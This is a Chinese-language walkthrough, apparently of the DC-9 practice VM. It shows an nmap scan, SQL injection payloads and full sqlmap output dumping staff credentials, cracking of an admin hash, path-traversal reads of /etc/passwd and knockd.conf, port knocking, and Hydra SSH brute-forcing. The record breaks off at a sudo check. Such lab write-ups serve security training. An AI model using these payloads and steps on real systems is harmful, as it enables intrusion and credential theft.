开靶机，net模式，启动

arp-scan -l命令扫描存活主机

nmap -sS -sV -A -n 192.168.100.22

┌──(root㉿kali)-[~]

└─# nmap -sS -sV -A -n 192.168.100.22

Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-31 21:21 EST

Nmap scan report for 192.168.100.22

Host is up (0.00078s latency).

Not shown: 998 closed tcp ports (reset)

PORT   STATE    SERVICE VERSION

22/tcp filtered ssh

80/tcp open     http    Apache httpd 2.4.38 ((Debian))

|_http-title: Example.com - Staff Details - Welcome

|_http-server-header: Apache/2.4.38 (Debian)

MAC Address: 00:0C:29:21:69:DF (VMware)

Device type: general purpose

Running: Linux 3.X|4.X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

OS details: Linux 3.2 - 4.9

Network Distance: 1 hop

TRACEROUTE

HOP RTT     ADDRESS

1   0.78 ms 192.168.100.22

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 8.10 seconds

我这里使用无糖的软件直接扫

指纹扫一下80端口



kali访问一下



发现点击dispaly后会显示一些类似数据库中的信息



同样看一下search和manage



尝试在search页面进行sql注入,发现有回显

1' or 1=1 #

使用sqlmap尝试爆破

爆库

┌──(root㉿kali)-[~]

└─# sqlmap -u http://192.168.100.22/results.php -data "search=1" -dbs

        ___

       __H__

 ___ ___["]_____ ___ ___  {1.7.12.9#dev}

|_ -| . [.]     | .'| . |

|___|_  [']_|_|_|__,|  _|

      |_|V...       |_|   https://sqlmap.org                                                            

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:25:47 /2024-01-31/

[20:25:47] [INFO] testing connection to the target URL

[20:25:47] [INFO] testing if the target URL content is stable

[20:25:48] [INFO] target URL content is stable

[20:25:48] [INFO] testing if POST parameter 'search' is dynamic

[20:25:48] [WARNING] POST parameter 'search' does not appear to be dynamic

[20:25:48] [WARNING] heuristic (basic) test shows that POST parameter 'search' might not be injectable

[20:25:48] [INFO] testing for SQL injection on POST parameter 'search'

[20:25:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[20:25:48] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'

[20:25:48] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'

[20:25:48] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'

[20:25:48] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'

[20:25:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'

[20:25:48] [INFO] testing 'Generic inline queries'

[20:25:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'

[20:25:48] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'

[20:25:48] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'

[20:25:48] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'

[20:26:08] [INFO] POST parameter 'search' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y

[20:26:18] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'

[20:26:18] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found

[20:26:18] [INFO] target URL appears to be UNION injectable with 6 columns

[20:26:18] [INFO] POST parameter 'search' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable

POST parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y

sqlmap identified the following injection point(s) with a total of 71 HTTP(s) requests:

---

Parameter: search (POST)

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: search=1' AND (SELECT 9832 FROM (SELECT(SLEEP(5)))GflJ) AND 'DdIQ'='DdIQ

    Type: UNION query

    Title: Generic UNION query (NULL) - 6 columns

    Payload: search=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71706a7071,0x7a645a67786a61786f4b524447746450527065484f7a53705970706475594c4d615750726945726e,0x717a787071),NULL,NULL-- -

---

[20:26:26] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 10 (buster)

web application technology: Apache 2.4.38

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

[20:26:26] [INFO] fetching database names

available databases [3]:

[*] information_schema

[*] Staff

[*] users

[20:26:26] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.100.22'                                                                                                     

[*] ending @ 20:26:26 /2024-01-31/

爆表

┌──(root㉿kali)-[~]

└─# sqlmap -u http://192.168.100.22/results.php -data "search=1" -D users -tables

        ___

       __H__

 ___ ___[']_____ ___ ___  {1.7.12.9#dev}

|_ -| . [']     | .'| . |

|___|_  [,]_|_|_|__,|  _|

      |_|V...       |_|   https://sqlmap.org                                                            

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:27:18 /2024-01-31/

[20:27:19] [INFO] resuming back-end DBMS 'mysql'

[20:27:19] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: search (POST)

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: search=1' AND (SELECT 9832 FROM (SELECT(SLEEP(5)))GflJ) AND 'DdIQ'='DdIQ

    Type: UNION query

    Title: Generic UNION query (NULL) - 6 columns

    Payload: search=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71706a7071,0x7a645a67786a61786f4b524447746450527065484f7a53705970706475594c4d615750726945726e,0x717a787071),NULL,NULL-- -

---

[20:27:19] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 10 (buster)

web application technology: Apache 2.4.38

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

[20:27:19] [INFO] fetching tables for database: 'users'

Database: users

[1 table]

+-------------+

| UserDetails |

+-------------+

[20:27:19] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.100.22'                                                                                                     

[*] ending @ 20:27:19 /2024-01-31/

爆数据

┌──(root㉿kali)-[~]

└─# sqlmap -u http://192.168.100.22/results.php -data "search=1" -D users -T UserDetails -dump

        ___

       __H__

 ___ ___[']_____ ___ ___  {1.7.12.9#dev}

|_ -| . ["]     | .'| . |

|___|_  [.]_|_|_|__,|  _|

      |_|V...       |_|   https://sqlmap.org                                                            

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:28:35 /2024-01-31/

[20:28:35] [INFO] resuming back-end DBMS 'mysql'

[20:28:35] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: search (POST)

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: search=1' AND (SELECT 9832 FROM (SELECT(SLEEP(5)))GflJ) AND 'DdIQ'='DdIQ

    Type: UNION query

    Title: Generic UNION query (NULL) - 6 columns

    Payload: search=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71706a7071,0x7a645a67786a61786f4b524447746450527065484f7a53705970706475594c4d615750726945726e,0x717a787071),NULL,NULL-- -

---

[20:28:35] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 10 (buster)

web application technology: Apache 2.4.38

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

[20:28:35] [INFO] fetching columns for table 'UserDetails' in database 'users'

[20:28:35] [INFO] fetching entries for table 'UserDetails' in database 'users'

Database: users

Table: UserDetails

[17 entries]

+----+------------+---------------+---------------------+-----------+-----------+

| id | lastname   | password      | reg_date            | username  | firstname |

+----+------------+---------------+---------------------+-----------+-----------+

| 1  | Moe        | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     | Mary      |

| 2  | Dooley     | 468sfdfsd2    | 2019-12-29 16:58:26 | julied    | Julie     |

| 3  | Flintstone | 4sfd87sfd1    | 2019-12-29 16:58:26 | fredf     | Fred      |

| 4  | Rubble     | RocksOff      | 2019-12-29 16:58:26 | barneyr   | Barney    |

| 5  | Cat        | TC&TheBoyz    | 2019-12-29 16:58:26 | tomc      | Tom       |

| 6  | Mouse      | B8m#48sd      | 2019-12-29 16:58:26 | jerrym    | Jerry     |

| 7  | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf    | Wilma     |

| 8  | Rubble     | BamBam01      | 2019-12-29 16:58:26 | bettyr    | Betty     |

| 9  | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb | Chandler  |

| 10 | Tribbiani  | Passw0rd      | 2019-12-29 16:58:26 | joeyt     | Joey      |

| 11 | Green      | yN72#dsd      | 2019-12-29 16:58:26 | rachelg   | Rachel    |

| 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     | Ross      |

| 13 | Geller     | 3248dsds7s    | 2019-12-29 16:58:26 | monicag   | Monica    |

| 14 | Buffay     | smellycats    | 2019-12-29 16:58:26 | phoebeb   | Phoebe    |

| 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots    | Scooter   |

| 16 | Trump      | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   | Donald    |

| 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2  | Scott     |

+----+------------+---------------+---------------------+-----------+-----------+

[20:28:35] [INFO] table 'users.UserDetails' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.100.22/dump/users/UserDetails.csv'

[20:28:35] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.100.22'                                                                                                     

[*] ending @ 20:28:35 /2024-01-31/

员工的账号密码

再把另一个表Staff爆一下

┌──(root㉿kali)-[~]

└─# sqlmap -u http://192.168.100.22/results.php -data "search=1" -D Staff -tables

        ___

       __H__

 ___ ___[']_____ ___ ___  {1.7.12.9#dev}

|_ -| . [(]     | .'| . |

|___|_  [)]_|_|_|__,|  _|

      |_|V...       |_|   https://sqlmap.org                                                            

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:30:50 /2024-01-31/

[20:30:50] [INFO] resuming back-end DBMS 'mysql'

[20:30:50] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: search (POST)

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: search=1' AND (SELECT 9832 FROM (SELECT(SLEEP(5)))GflJ) AND 'DdIQ'='DdIQ

    Type: UNION query

    Title: Generic UNION query (NULL) - 6 columns

    Payload: search=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71706a7071,0x7a645a67786a61786f4b524447746450527065484f7a53705970706475594c4d615750726945726e,0x717a787071),NULL,NULL-- -

---

[20:30:50] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 10 (buster)

web application technology: Apache 2.4.38

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

[20:30:50] [INFO] fetching tables for database: 'Staff'

Database: Staff

[2 tables]

+--------------+

| StaffDetails |

| Users        |

+--------------+

[20:30:50] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.100.22'                                                                                                     

[*] ending @ 20:30:50 /2024-01-31/

爆第一张表StaffDetails

┌──(root㉿kali)-[~]

└─# sqlmap -u http://192.168.100.22/results.php -data "search=1" -D Staff -T StaffDetails -dump

        ___

       __H__

 ___ ___["]_____ ___ ___  {1.7.12.9#dev}

|_ -| . [)]     | .'| . |

|___|_  [)]_|_|_|__,|  _|

      |_|V...       |_|   https://sqlmap.org                                                            

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:32:02 /2024-01-31/

[20:32:02] [INFO] resuming back-end DBMS 'mysql'

[20:32:02] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: search (POST)

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: search=1' AND (SELECT 9832 FROM (SELECT(SLEEP(5)))GflJ) AND 'DdIQ'='DdIQ

    Type: UNION query

    Title: Generic UNION query (NULL) - 6 columns

    Payload: search=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71706a7071,0x7a645a67786a61786f4b524447746450527065484f7a53705970706475594c4d615750726945726e,0x717a787071),NULL,NULL-- -

---

[20:32:02] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 10 (buster)

web application technology: Apache 2.4.38

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

[20:32:02] [INFO] fetching columns for table 'StaffDetails' in database 'Staff'

[20:32:02] [INFO] fetching entries for table 'StaffDetails' in database 'Staff'

Database: Staff

Table: StaffDetails

[17 entries]

+----+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+

| id | email                 | phone          | lastname   | reg_date            | firstname | position                      |

+----+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+

| 1  | marym@example.com     | 46478415155456 | Moe        | 2019-05-01 17:32:00 | Mary      | CEO                           |

| 2  | julied@example.com    | 46457131654    | Dooley     | 2019-05-01 17:32:00 | Julie     | Human Resources               |

| 3  | fredf@example.com     | 46415323       | Flintstone | 2019-05-01 17:32:00 | Fred      | Systems Administrator         |

| 4  | barneyr@example.com   | 324643564      | Rubble     | 2019-05-01 17:32:00 | Barney    | Help Desk                     |

| 5  | tomc@example.com      | 802438797      | Cat        | 2019-05-01 17:32:00 | Tom       | Driver                        |

| 6  | jerrym@example.com    | 24342654756    | Mouse      | 2019-05-01 17:32:00 | Jerry     | Stores                        |

| 7  | wilmaf@example.com    | 243457487      | Flintstone | 2019-05-01 17:32:00 | Wilma     | Accounts                      |

| 8  | bettyr@example.com    | 90239724378    | Rubble     | 2019-05-01 17:32:00 | Betty     | Junior Accounts               |

| 9  | chandlerb@example.com | 189024789      | Bing       | 2019-05-01 17:32:00 | Chandler  | President - Sales             |

| 10 | joeyt@example.com     | 232131654      | Tribbiani  | 2019-05-01 17:32:00 | Joey      | Janitor                       |

| 11 | rachelg@example.com   | 823897243978   | Green      | 2019-05-01 17:32:00 | Rachel    | Personal Assistant            |

| 12 | rossg@example.com     | 6549638203     | Geller     | 2019-05-01 17:32:00 | Ross      | Instructor                    |

| 13 | monicag@example.com   | 8092432798     | Geller     | 2019-05-01 17:32:00 | Monica    | Marketing                     |

| 14 | phoebeb@example.com   | 43289079824    | Buffay     | 2019-05-01 17:32:02 | Phoebe    | Assistant Janitor             |

| 15 | scoots@example.com    | 454786464      | McScoots   | 2019-05-01 20:16:33 | Scooter   | Resident Cat                  |

| 16 | janitor@example.com   | 65464646479741 | Trump      | 2019-12-23 03:11:39 | Donald    | Replacement Janitor           |

| 17 | janitor2@example.com  | 47836546413    | Morrison   | 2019-12-24 03:41:04 | Scott     | Assistant Replacement Janitor |

+----+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+

[20:32:02] [INFO] table 'Staff.StaffDetails' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.100.22/dump/Staff/StaffDetails.csv'

[20:32:02] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.100.22'                                                                                                     

[*] ending @ 20:32:02 /2024-01-31/

爆第二张表Users

┌──(root㉿kali)-[~]

└─# sqlmap -u http://192.168.100.22/results.php -data "search=1" -D Staff -T Users -dump

        ___

       __H__

 ___ ___[,]_____ ___ ___  {1.7.12.9#dev}

|_ -| . [,]     | .'| . |

|___|_  [,]_|_|_|__,|  _|

      |_|V...       |_|   https://sqlmap.org                                                            

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:33:02 /2024-01-31/

[20:33:03] [INFO] resuming back-end DBMS 'mysql'

[20:33:03] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: search (POST)

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: search=1' AND (SELECT 9832 FROM (SELECT(SLEEP(5)))GflJ) AND 'DdIQ'='DdIQ

    Type: UNION query

    Title: Generic UNION query (NULL) - 6 columns

    Payload: search=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71706a7071,0x7a645a67786a61786f4b524447746450527065484f7a53705970706475594c4d615750726945726e,0x717a787071),NULL,NULL-- -

---

[20:33:03] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 10 (buster)

web application technology: Apache 2.4.38

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

[20:33:03] [INFO] fetching columns for table 'Users' in database 'Staff'

[20:33:03] [INFO] fetching entries for table 'Users' in database 'Staff'

[20:33:03] [INFO] recognized possible password hashes in column 'Password'

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y

[20:33:10] [INFO] writing hashes to a temporary file '/tmp/sqlmap4b1ullqp35516/sqlmaphashes-b6219vj2.txt'

do you want to crack them via a dictionary-based attack? [Y/n/q] y

[20:33:15] [INFO] using hash method 'md5_generic_passwd'

what dictionary do you want to use?

[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)

[2] custom dictionary file

[3] file with list of dictionary files

>

[20:33:23] [INFO] using default dictionary

do you want to use common password suffixes? (slow!) [y/N] y

[20:33:26] [INFO] starting dictionary-based cracking (md5_generic_passwd)

[20:33:26] [INFO] starting 4 processes

[20:33:35] [INFO] using suffix '1'

[20:33:40] [INFO] cracked password 'transorbital1' for user 'admin'

Database: Staff

Table: Users

[1 entry]

+--------+--------------------------------------------------+----------+

| UserID | Password                                         | Username |

+--------+--------------------------------------------------+----------+

| 1      | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) | admin    |

+--------+--------------------------------------------------+----------+

[20:33:44] [INFO] table 'Staff.Users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.100.22/dump/Staff/Users.csv'

[20:33:44] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.100.22'                                                                                                     

[*] ending @ 20:33:44 /2024-01-31/

爆出admin和密码，盲猜md5，密码sqlmap自动解密好了

admin

transorbital1

尝试登录后台

成功



看到多了一个选项

应该是一个添加用户的界面，看见下面有一个file does not exist，猜测有文件包含漏洞，之前只做过几道ctf，了解不是很深，好在这里不难

文件包含

**前置条件：

4.8.0 <= phpMyAdmin < 4.8.2

访问`http://x.x.x.x:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd`，可见`/etc/passwd`被读取，说明文件包含漏洞存在

那尝试下呗

http://192.168.100.22/addrecord.php?file=../../../../etc/passwd



File does not exist

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false marym:x:1001:1001:Mary Moe:/home/marym:/bin/bash julied:x:1002:1002:Julie Dooley:/home/julied:/bin/bash fredf:x:1003:1003:Fred Flintstone:/home/fredf:/bin/bash barneyr:x:1004:1004:Barney Rubble:/home/barneyr:/bin/bash tomc:x:1005:1005:Tom Cat:/home/tomc:/bin/bash jerrym:x:1006:1006:Jerry Mouse:/home/jerrym:/bin/bash wilmaf:x:1007:1007:Wilma Flintstone:/home/wilmaf:/bin/bash bettyr:x:1008:1008:Betty Rubble:/home/bettyr:/bin/bash chandlerb:x:1009:1009:Chandler Bing:/home/chandlerb:/bin/bash joeyt:x:1010:1010:Joey Tribbiani:/home/joeyt:/bin/bash rachelg:x:1011:1011:Rachel Green:/home/rachelg:/bin/bash rossg:x:1012:1012:Ross Geller:/home/rossg:/bin/bash monicag:x:1013:1013:Monica Geller:/home/monicag:/bin/bash phoebeb:x:1014:1014:Phoebe Buffay:/home/phoebeb:/bin/bash scoots:x:1015:1015:Scooter McScoots:/home/scoots:/bin/bash janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash

丢给chat

这是一个Unix-like系统中的/etc/passwd文件的内容，其中包含了用户账户的信息。每一行都代表一个用户账户，提供了用户名、用户ID（UID）、组ID（GID）、主目录以及默认shell等详细信息。

以下是一些示例用户：

用户名 root，用户ID 0，组ID 0，主目录 /root，默认shell /bin/bash。

用户名 marym，用户ID 1001，组ID 1001，主目录 /home/marym，默认shell /bin/bash。

用户名 julied，用户ID 1002，组ID 1002，主目录 /home/julied，默认shell /bin/bash。

用户名 fredf，用户ID 1003，组ID 1003，主目录 /home/fredf，默认shell /bin/bash。

用户名 barneyr，用户ID 1004，组ID 1004，主目录 /home/barneyr，默认shell /bin/bash。

如果您有具体的问题或需要进行特定操作，请告诉我，我将尽力协助。

新内容：

端口保护之端口敲门

knockd服务：即敲门端口服务，该服务通过动态的添加iptables规则来隐藏系统开启的服务，使用自定义的一系列序列号来“敲门”，，使系统开启需要访问的服务端口，才能对外访问，不使用时，再使用自定义序列号来“关门”，将端口关闭，不对外监听。进一步提升了服务和系统的安全性，它的默认配置文件是：/etc/knockd.conf

依次对其进行敲门，然后就可以开启ssh服务进行连接了，所以我们可以通过文件包含来显示该配置文件的内容

File does not exist

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command =

/sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

[closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D

INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

老规矩，chat

你提供了一个与使用iptables管理SSH访问的配置片段。这个配置定义了基于指定TCP标志序列的打开和关闭SSH访问的命令。

让我来解释一下提供的信息：

1. **UseSyslog [openSSH]：**

   - `sequence = 7469,8475,9842`：指定了一个TCP标志序列。

   - `seq_timeout = 25`：为序列设置了超时值。

   - `command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT`：当检测到指定序列时执行的命令。它添加了一个规则，允许来自指定IP地址的端口22的TCP流量。

2. **[closeSSH]：**

   - `sequence = 9842,8475,7469`：这是关闭序列，与打开序列的顺序相反。

   - `seq_timeout = 25`：类似于打开序列，设置了超时值。

   - `command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT`：执行此命令以删除规则，并拒绝来自指定IP地址的端口22的TCP流量。

3. `tcpflags = syn`：两个配置都指定了基于SYN标志的序列，SYN标志通常用于TCP三次握手。

需要注意的是，`%IP%` 占位符似乎用于表示触发序列的IP地址。在运行时，此占位符可能被实际的IP地址替换。

在部署到生产环境之前，请在受控环境中测试此配置。此外，考虑使用这种方法打开和关闭SSH访问的安全性影响。

对7469,8475,9842进行挨个敲门

nmap -p 7469 192.168.100.22

nmap -p 8475 192.168.100.22

nmap -p 9842 192.168.100.22

或者

nc 192.168.100.22 7469

nc 192.168.100.22 8475

nc 192.168.100.22 9842

┌──(root㉿kali)-[~]

└─# nc 192.168.100.22 7469

(UNKNOWN) [192.168.100.22] 7469 (?) : Connection refused

┌──(root㉿kali)-[~]

└─# nc 192.168.100.22 8475

(UNKNOWN) [192.168.100.22] 8475 (?) : Connection refused

┌──(root㉿kali)-[~]

└─# nc 192.168.100.22 9842

(UNKNOWN) [192.168.100.22] 9842 (?) : Connection refused

┌──(root㉿kali)-[~]

└─# nmap -p 22 192.168.100.22

Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-31 21:08 EST

Nmap scan report for 192.168.100.22

Host is up (0.00014s latency).

PORT   STATE SERVICE

22/tcp open  ssh

MAC Address: 00:0C:29:21:69:DF (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds

可以看到22端口开放了

┌──(root㉿kali)-[~]

└─# nmap -sS -sV -A -n 192.168.100.22

Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-31 21:23 EST

Nmap scan report for 192.168.100.22

Host is up (0.00078s latency).

Not shown: 998 closed tcp ports (reset)

PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)

| ssh-hostkey:

|   2048 a2:b3:38:74:32:74:0b:c5:16:dc:13:de:cb:9b:8a:c3 (RSA)

|   256 06:5c:93:87:15:54:68:6b:88:91:55:cf:f8:9a:ce:40 (ECDSA)

|_  256 e4:2c:88:da:88:63:26:8c:93:d5:f7:63:2b:a3:eb:ab (ED25519)

80/tcp open  http    Apache httpd 2.4.38 ((Debian))

|_http-server-header: Apache/2.4.38 (Debian)

|_http-title: Example.com - Staff Details - Welcome

MAC Address: 00:0C:29:21:69:DF (VMware)

Device type: general purpose

Running: Linux 3.X|4.X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

OS details: Linux 3.2 - 4.9

Network Distance: 1 hop

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE

HOP RTT     ADDRESS

1   0.78 ms 192.168.100.22

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 8.11 seconds

将UserDetails中的用户名密码写入txt



使用海德拉进行爆破

参数名 参数含义

-l 指定破解的用户，对特定用户破解

-L 指定用户名字典

-p 小写，指定密码破解，少用，一般是采用密码字典

-P 大写，指定密码字典

-R 继续从上一次进度接着破解

-S 大写，采用SSL链接

-s 小写，可通过这个参数指定非默认端口

-e 可选选项，n：空密码试探，s：使用指定用户和密码试探

-t 同时运行的线程数，默认为16

-C 使用冒号分割格式，例如“登录名:密码”来代替 -L/-P 参数

-M 指定目标列表文件一行一条

-o 指定结果输出文件

-f 在使用-M参数以后，找到第一对登录名或者密码的时候中止破解

-w 设置最大超时的时间，单位秒，默认是30s

-v / -V 显示详细过程

server 目标ip

service 指定服务名，支持的服务和协议

┌──(root㉿kali)-[~/Desktop]

└─# hydra -L users.txt -P pass.txt 192.168.100.22 ssh

Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-31 21:38:13

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 289 login tries (l:17/p:17), ~19 tries per task

[DATA] attacking ssh://192.168.100.22:22/

[22][ssh] host: 192.168.100.22   login: chandlerb   password: UrAG0D!

[22][ssh] host: 192.168.100.22   login: joeyt   password: Passw0rd

[22][ssh] host: 192.168.100.22   login: janitor   password: Ilovepeepee

[STATUS] 285.00 tries/min, 285 tries in 00:01h, 7 to do in 00:01h, 13 active

1 of 1 target successfully completed, 3 valid passwords found

[WARNING] Writing restore file because 1 final worker threads did not complete until end.

[ERROR] 1 target did not resolve or could not be connected

[ERROR] 0 target did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-31 21:39:19

得到三个账号密码

分别进行ssh登录查看

断开命令：logout

chandlerb



joeyt



janitor

发现有一个可以文件夹



打开看看

janitor@dc-9:~$ cd .secrets-for-putin

janitor@dc-9:~/.secrets-for-putin$ ls

passwords-found-on-post-it-notes.txt

janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt

BamBam01

Passw0rd

smellycats

P0Lic#10-4

B4-Tru3-001

4uGU5T-NiGHts

添加密码至passtxt重新爆破



找到一个新用户

尝试登录

对所有用户执行sudo -l后发现fredf结果不大一样

fredf@dc-9:~$ sudo -l

Matching Defaults entries for fredf on dc-9:

